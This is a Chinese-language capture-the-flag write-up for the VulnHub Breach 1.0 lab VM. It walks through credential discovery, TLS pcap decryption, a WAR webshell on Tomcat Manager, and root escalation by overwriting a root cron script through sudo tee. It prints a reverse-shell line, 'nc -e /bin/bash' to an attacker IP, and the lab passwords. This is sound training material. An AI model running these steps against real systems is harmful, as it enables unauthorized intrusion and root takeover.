https://download.vulnhub.com/breach/Breach-1.0.zip
将下载好的靶场导入VMware,虚拟机设置网络模式为nat模式,即可开启渗透,阅读readme.txt
作为多部分系列的第一部分,Breach 1.0 旨在从初学者到中级 boot2root/CTF 挑战。 解决问题将结合可靠的信息收集和持久性。 不遗余力。 VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到此子网。 非常感谢 knightmare 和 rastamouse 的测试和提供反馈。 感谢 g0tmi1k 维护#vulnhub 并主持我的第一个挑战。 如果您遇到任何问题,您可以在 Twitter 上找到我:https://twitter.com/mrb3n813 或在#vulnhub 的 IRC 上。 期待文章,尤其是到本地/根目录的任何意外路径。
VMware虚拟机配置有静态IP地址:192.168.110.140
,需要将虚拟机网卡设置为host-only
方式
扫描靶机服务端口信息,发现开放了996,我们判断该靶机内部有IPS.IDS等蜜罐信息,直接进行80渗透
访问web网站
大概意思就是公司信息泄露,倒闭了.我们首先看一下源代码,有一条信息看上去是编码的
使用CTF随波逐流解码工具看看,因为这个编码是4的倍数64位所以我们可以知道他应该是一个base64编码,经过两次base64解码后我们得到了
pgibbons:damnitfeel$goodtobeagang$ta类似于linux中的账号密码由:来鉴别左边应该是账号右边应该是密码
接着研究这个网站,我们发现图片可以点击进去访问
出现这个页面.然后我们一个一个访问发现最后一个 是一个登录网站impresscms的框架,上面可以登录,我们利用信息手机的账号密码尝试登录一下,发现登录成功,接着找找后台有没有什么有用信息,最后发现在Inbox上有三条信息我们依次访问
最后一条告诉我们
彼得,我不知道这是什么。我将文件保存在这里:192.168.110.140/.keystore鲍勃 ------------------------------------------------------------------------------------------------------------------------------------------- 2016年6月:registrar@penetrode.com发送:02 16:16:bob@initech.com;主题:感谢您购买超级机密证书专业版!请在附件中找到您的新SSL证书。不要告诉任何人!
于是我们访问192.168.110.140/.keystore发现是一个密钥
接着继续在后台找信息,在Inbox前一条prefile中的content
翻译一下就是:
Peter Gibbons于2016/6/4 21:37:05发布。(0读取)
小组,我上传了一份红队模拟袭击的pcap文件。我不知道他们用了什么花招,但我看不懂文件。我尝试了我的每一个nmap开关的C|EH研究,只是不能找出它。http://192.168.110.140/impresscms/_SSL_test_phase1.pcap他们告诉我别名,storepassword和keypassword都设置为“tomcat”。这是有用的吗? ?有人知道这是什么吗?我猜我们现在已经安全加密了?附言:接下来的两天我要去钓鱼,没有邮箱和电话。
可以知道http://192.168.110.140/impresscmms/_SSL_test_phase1.pcap有一个包,还有一个账号密码都是tomcat,接着访问网址下载包,使用wireshark分析此流量包
发现有TLS数据包就是https包,并且端口为8443,但是所有的内容都被加密了,我们知道之前下载了一个密钥,使用java自带的keytool可以处理[在windows java目录下]
【注意】将keystore放在C盘根目录下
然后使用参数keytool -list -keystore 文件路径
然后利用我们刚刚收集到的信息tomcat输入进去
接着从密钥库中导出证书.证书格式是p12,因为提示了我们为pkcs12,口令全部都写tomcat
接着把证书导入到wireshark注意上传证书的时候新版wireshark是TLS老版是SSL在wireshark中的编辑->首选项
接着在RSA key list 点击Edit
点击添加
写下ip地址 端口 协议 证书文件位置 密码口令
点击浏览后,我们回到wireshark发现Https的数据流量包已经解密,为了方便我们只看https的流量包参数是http
分析这些流量包查询有用的信息,在NO.26号包中我们发现了这个网站是利用的简单http认证,我们之后可以访问https://192.168.110.140:8443/_M@nag3Me/html网站,并且流量包中已经显示了账号密码tomcat:Tt\5D8F(#!*u=G)4m7zB
访问https://192.168.110.140:8443/_M@nag3Me/html,发现不能直接访问,该网站的证书浏览器认为不安全所以不让我们访问
这里我们可以使用burpsuite的证书,在打开burpsuite代理之后访问http://burp下载证书,并且在浏览器上信任该证书,不懂可以查询百度
这些搞完过后我们进行抓包利用bp的代理证书直接进去,经过bp抓包转发过后我们到达了http认证
输入之前我们得到的账号密码尝试是否可以登录
登录成功,我们发现该网站是一个tomcat的一个开源项目,我们发现他可以上传war包,所以我们可以尝试制作一个java的webshell
接着我们还是利用BP的包长传这个war包,接着使用msf监听
记得设置payload
接着访问上传的war包/lyq
点击后通过bp代理过去我们msf已经有了反应
python -c 'import pty;pty.spawn("/bin/bash")'优化终端现在我们应该去提权但是sudo -l似乎并不可以使用也没有什么历史用户这个时候我们可以查看一下/etc/passwd,发现常见用户www-data,root等我们找到www-daat通常是可以访问的,接着我们去访问一下该路径,发现有一个文件夹5446
接着去访问它,发现四个可疑文件
我们一个一个访问,访问第一个我们发现了数据库的账号密码
访问一下mysql数据库,发现一个user表
接着我们查询他的字段
发现这个milton是/etc/passwd存在的用户,该password32位应该是md5.我们md5最终得到的密码是thelaststraw,接着我们尝试更改用户
更改用户成功了,但是还是不可以使用sudo -l我们查看history发现该用户历史命令登录过root和blumbergh
这个blumbergh是一个老总,最后我们在http://192.168.110.140/images/找到了信息分别把图片下下来使用stringhttp://192.168.110.140/images/找到了信息分别把图片下下来使用stringshttp://192.168.110.140/images/找到了信息分别把图片下下来使用string发现bill.png里面找到了密码
coffeestains就是该用户的密码,接着去登录blumbergh,最后登录成功,并且属于sudo组
使用sudo -l发现我们可以使用/usr/bin/tee 和tidyup都可以是以root用户进行执行,我们可以制作一个反弹shell tee是linux中的一个程序,用户读取标准的数据,然后输出成文件看看tidyup的脚本内容
这个tidyup,sh是一个三分钟清理文件的脚本,但是是以root用户执行的我们利用tee可以修改里面的内容并反弹成我们的反弹shell
首先我们切换到/tmp/目录下 echo "nc -e /bin/bash 192.168.110.128 109" >> lyq.txt
接着cat lyq.txt|sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
本地nc监听109端口 nc -lvvp 109
等待三分钟即可拿到shell
最后我们就拿到了root